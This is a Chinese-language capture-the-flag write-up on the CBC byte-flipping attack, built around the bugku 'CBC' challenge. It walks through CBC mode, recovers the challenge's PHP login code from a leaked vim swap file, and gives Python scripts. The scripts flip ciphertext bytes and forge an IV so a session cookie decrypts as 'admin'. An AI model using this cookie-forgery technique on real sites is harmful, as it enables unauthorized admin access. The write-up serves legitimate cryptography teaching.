CBC字节翻转攻击(例题:bugku-CBC)
了解一下
先来了解一下吧
加密过程的关键就在于:分组,初始向量iv,异或
CBC模式的加密方式是通过一个初始向量(IV)先和明文分组第一组异或后使用秘钥K加密,作为第一组密文,同时又与后一分组的明文异或后进行加密产生下一组密文,依次重复。
这个初始向量iv的完整性比其保密性更为重要,在CBC模式下,最好是每发一个消息,都改变IV,比如将其值加一。
解密和加密时是对称的,密文先解密再异或,也就是最初解密是用第一组分组和iv先解出第一组明文,然后将第一组密文参与第二组密文的解密。
无论加解密后一个都受前一个的影响,只有第一个使用iv的先行求解。
下面就是CBC翻转攻击示意图:
其特点如下:
1.明文有一组中有错,会使以后的密文组都受影响(使用的异或结果),但经解密后的恢复结果,除原有误的一组外,其后各组明文都正确地恢复(返回未进行密码计算的位置)。
2.解密时,有一组秘钥错误,该错误会影响下一分组相同位置的解密
3.若在传送过程中,某组密文组出错时,则该组恢复的明文和下一组恢复数据出错(影响自身和下一位置)。再后面的组将不会受中错误比特的影响。
那么,这里的翻转攻击用的就是第三个特点,对加密后的结果进行修改,从而影响下一明文
即 控制前一密文–>影响下一明文
脚本原理就是
1.先将密文进行base64解码
2.修改对应位置的密文(影响完成) 【假如是第一密文影响第二明文,就是分别异或原值和新值】
3.修改iv保持第一密文本身不会受到损坏
如果你要修改的是第三、第四明文,以第三明文为例,你需要修改第二密文,为了保持第二明文不变,你需要修改第一密文,为了保持第一明文不变,你再修改iv。
但是由于传递性的存在,在之前的基础上,你只需要在第二密文进行同样的两次异或,就可以和对第一密文的异或抵消。
具体来说,密文分组后为 0-15 16-31 32-47
对9位异或(xor ‘a’)能够修改第25位对应的明文
我现在想修改41位的明文,就只需要除了9位的异或再对25位密文位置同样异或(xor ‘a’),这样就传递过来了
上述基础知识参考:https://www.cnblogs.com/p00mj/p/11797786.html
WP-bugku-CBC
打开题目
提示admin
无法登陆,写其他的能登陆。
先扫一下
扫到swp
文件,这里的相关概念可以参考:
swp泄露
使用 vim -r filename
进行恢复
代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">;
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});
$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" οnfοcus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" οnfοcus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>
重点在login
和check_login
login
会发出iv
然后将输入的username
和password
进行序列化加密后出cipher发出,最后经过base64
啥的
check_login
对之前的iv
,cipher
进行验证,进行反序列化啥的,就是一个check
的作用。
这是第一次的返回包,设置出了vi
和cipher
,我的数据是zdmin&12345
对密文进行修改:
脚本如下
import base64
import requests
import urllib
iv_raw='ppfx3kaGYMEyc4crV7WVSQ%3D%3D' #这里填写第一次返回的iv值
cipher_raw='U6ZMcCCWva26GAJvRXkplaX6IL96qhk%2FbCgmAZ4qOcZLYG15l9E6jQp3%2F3spi4nbyl%2BSDkQtzD2JefNhNw5E2g%3D%3D' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#a:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
#print(xor_cipher)
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)
出值
第二次返回包
显示无法反序列化,因为我们还没有修改iv,但是可以看到修改的地方已经成功了,现在要将第一明文组还原。
脚本如下:
import base64
import urllib
cipher = 'BqbMW8iCMBsbJ/OHPMt/3G1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9'#填写提交后所得的无法反序列化密文
iv = 'ppfx3kaGYMEyc4crV7WVSQ%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print (urllib.quote(base64.b64encode(newIv)))
出值:
修改包,注意删除post数据,直接进入check_login函数,否则会跳转至login函数哦
得到flag
脚本参考&改写:https://blog.csdn.net/csu_vc/article/details/79619309